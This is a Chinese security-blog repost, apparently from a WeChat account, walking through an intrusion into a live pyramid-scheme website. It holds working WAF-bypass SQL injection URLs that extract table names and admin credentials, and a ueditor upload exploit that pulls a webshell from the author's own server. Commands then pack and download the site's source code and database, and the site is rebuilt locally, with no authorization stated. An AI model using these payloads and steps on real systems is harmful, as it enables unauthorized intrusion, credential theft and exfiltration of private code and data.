对某非法站点从SQL注入到整站打包与本地搭建全过程

admin 2022年5月8日13:25:39安全文章评论3 views3635字阅读12分7秒阅读模式

扫码领资料

获黑客教程

免费&进群

对某非法站点从SQL注入到整站打包与本地搭建全过程
对某非法站点从SQL注入到整站打包与本地搭建全过程



作者GuoKer ,原文地址:https://xz.aliyun.com/t/8213


如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。

一、信息搜集

目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。


二、Bypass Sql


1 、Fuzz


空格      error
加号 未拦截
等号 error
单引号 error
双引号 未拦截
双括号 未拦截
+select error
%0bselect 未拦截
%0bselect%0buser%0bfrom 未拦截
%0bselect%0buser%0bfrom%0badmin 拦截
convert() 未拦截

根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等。


再根据测试的结果,可以先利用convert转换报错获取一部分信息。


对某非法站点从SQL注入到整站打包与本地搭建全过程

goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips:可以通过遍历db_name(1)中的数字获取其他库名

得到以下信息:


ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_*_76_*SQLEXPRESS 10.*.76.*
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB

再往下就是获取表的信息


goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

对某非法站点从SQL注入到整站打包与本地搭建全过程


由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下。


对某非法站点从SQL注入到整站打包与本地搭建全过程

2、万金油


此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。


goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可


获取到第一个表名:jsrecord


对某非法站点从SQL注入到整站打包与本地搭建全过程


由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句。


/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

对某非法站点从SQL注入到整站打包与本地搭建全过程


此时只需要遍历top的数值即可,例如:


/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

对某非法站点从SQL注入到整站打包与本地搭建全过程


通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下:
首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)


对某非法站点从SQL注入到整站打包与本地搭建全过程

对某非法站点从SQL注入到整站打包与本地搭建全过程


然后使用Grep-Extact提取表名。

对某非法站点从SQL注入到整站打包与本地搭建全过程

对某非法站点从SQL注入到整站打包与本地搭建全过程

对某非法站点从SQL注入到整站打包与本地搭建全过程


保存结果后去重即可。


对某非法站点从SQL注入到整站打包与本地搭建全过程


和前面获取到的表总个数是一致的。


解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。


对某非法站点从SQL注入到整站打包与本地搭建全过程


如图,盲猜列名txt_nickname、nickname、txt_password、password


/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/

对某非法站点从SQL注入到整站打包与本地搭建全过程


/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/

对某非法站点从SQL注入到整站打包与本地搭建全过程

三、后台getshell

登陆后台


对某非法站点从SQL注入到整站打包与本地搭建全过程


经测试后发现信息管理处可以发布咨询,上传图片。


通过修改去掉filename="1.aspx"中的双引号绕过安全狗,但无法绕过程序自身的检测。


Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx

不过得知上传组件为ueditor,且.net版本存在上传漏洞
poc如下

<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>


并在自己的服务器上准备好shell(注意过狗),名称为a.gif,然后填入shell地址


https://o0o0.club/a.gif?.aspx

对某非法站点从SQL注入到整站打包与本地搭建全过程

提交后即可得到shell路径

四、打包源码与数据库

在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告。


因此我选择先通过shell来进行打包操作。


对某非法站点从SQL注入到整站打包与本地搭建全过程


对某非法站点从SQL注入到整站打包与本地搭建全过程


源码

这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。

rar.exe a -r -v50m -m5 pan20170823 *.*
#a 压缩
#-r 打包子目录
#-v 分卷大小
#-m 压缩等级
#pan20170823目标目录
#*.* 打包后文件名为 pan20170823.part*.rar

最终以每秒100k的速度下载完成。

对某非法站点从SQL注入到整站打包与本地搭建全过程


数据库

略过,后台自带备份功能

坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。


五、本地搭建

本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0


SQL Server

安装过程略过


导入数据


新建数据库,然后通过原设备还原数据


对某非法站点从SQL注入到整站打包与本地搭建全过程

对某非法站点从SQL注入到整站打包与本地搭建全过程


还原成功


对某非法站点从SQL注入到整站打包与本地搭建全过程

IIS与ASP.NET

安装一笔带过,左边拉满就行,简单粗暴


对某非法站点从SQL注入到整站打包与本地搭建全过程

对某非法站点从SQL注入到整站打包与本地搭建全过程


添加站点


对某非法站点从SQL注入到整站打包与本地搭建全过程


最好对应目标版本


对某非法站点从SQL注入到整站打包与本地搭建全过程


修改源码中的配置文件


对某非法站点从SQL注入到整站打包与本地搭建全过程


访问


对某非法站点从SQL注入到整站打包与本地搭建全过程


声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.


@

学习更多渗透技能!体验靶场实战练习



对某非法站点从SQL注入到整站打包与本地搭建全过程

hack视频资料及工具

对某非法站点从SQL注入到整站打包与本地搭建全过程

(部分展示)



往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞


看到这里了,点个“赞”、“再看”吧

原文始发于微信公众号(白帽子左一):对某非法站点从SQL注入到整站打包与本地搭建全过程

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月8日13:25:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  对某非法站点从SQL注入到整站打包与本地搭建全过程 http://cn-sec.com/archives/986720.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: